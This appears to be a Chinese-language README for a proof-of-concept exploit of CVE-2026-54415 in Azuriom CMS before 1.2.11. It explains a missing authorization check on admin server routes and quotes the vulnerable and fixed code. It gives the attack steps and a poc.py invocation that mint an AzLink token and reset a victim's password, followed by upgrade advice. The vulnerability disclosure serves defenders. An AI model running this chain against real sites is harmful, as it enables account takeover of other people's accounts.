用于 CVE-2026-54415 的 PoC — Azuriom CMS (<1.2.11) 访问控制失效 → 账户接管
Azuriom CMS < 1.2.11 中管理员服务器管理路由缺少授权检查,导致任何低权限管理员(仅持有 admin.access)都能生成 AzLink 服务器令牌并接管任意非管理员账户。
| CVE | CVE-2026-54415 |
| 产品 | Azuriom CMS |
| 受影响版本 | < 1.2.11 |
| 修复版本 | 1.2.11 —— 提交 4b744bc |
| CWE | CWE-862(缺少授权)、CWE-269(权限管理不当) |
| CVSS 3.1 | 8.1 高危 —— AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 高危 —— AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
此 PoC 仅针对已修复版本发布,用于防御和教育目的。请仅在你拥有或明确获授权测试的系统上运行。请升级到 Azuriom
1.2.11+。
✅ 已在本地 Azuriom 1.2.10 实例上完成端到端验证 —— 访问控制绕过、令牌生成、确认修改密码 + 受害者登录,以及管理员保护边界。
在 routes/admin.php 中,整个管理面板由单一的 can:admin.access 组把关,每个敏感功能本应自行添加细粒度的 can:admin.* 中间件。在 1.2.11 之前,服务器管理路由发布时未附带此类中间件:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
因此,任何能够进入管理面板的用户(admin.access)都可以创建服务器。当时完全没有 admin.servers 权限——该权限直到修复版本才出现。
厂商新增了 admin.servers 权限并将路由包裹其中:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
同一提交还为 social-links 和 pages/posts.attachments 路由补充了此前缺失的权限检查。
创建服务器会生成一个 32 字符的服务器令牌(app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
该令牌用于认证 AzLink API(routes/api.php),其 VerifyServerToken 中间件信任任何携带有效 Azuriom-Link-Token 头的请求。AzLink 暴露了以下账户管理端点:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword 仅在目标 isAdmin() 时拒绝请求——每个非管理员账户都可被接管:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
保存前,服务器创建过程会调用 $server->bridge()->verifyLink()。对于 mc-azlink 类型,该调用无条件返回 true:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
因此,攻击者只需提供任意虚构的 address,服务器照常保存,而新生成的令牌会显示在管理面板中的 AzLink 设置命令里(/azlink setup <url> <token>)。
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
该脚本会执行登录、生成服务器令牌、提取令牌、通过 AzLink 重置受害者密码,并输出令牌 + 结果。所有参数详见 poc.py --help。需要 requests(pip install requests)。
1.2.11 或更高版本。admin_servers 并撤销任何意外的服务器令牌。admin.access。1.2.11 中修复MIT —— 仅限授权的安全测试与研究使用。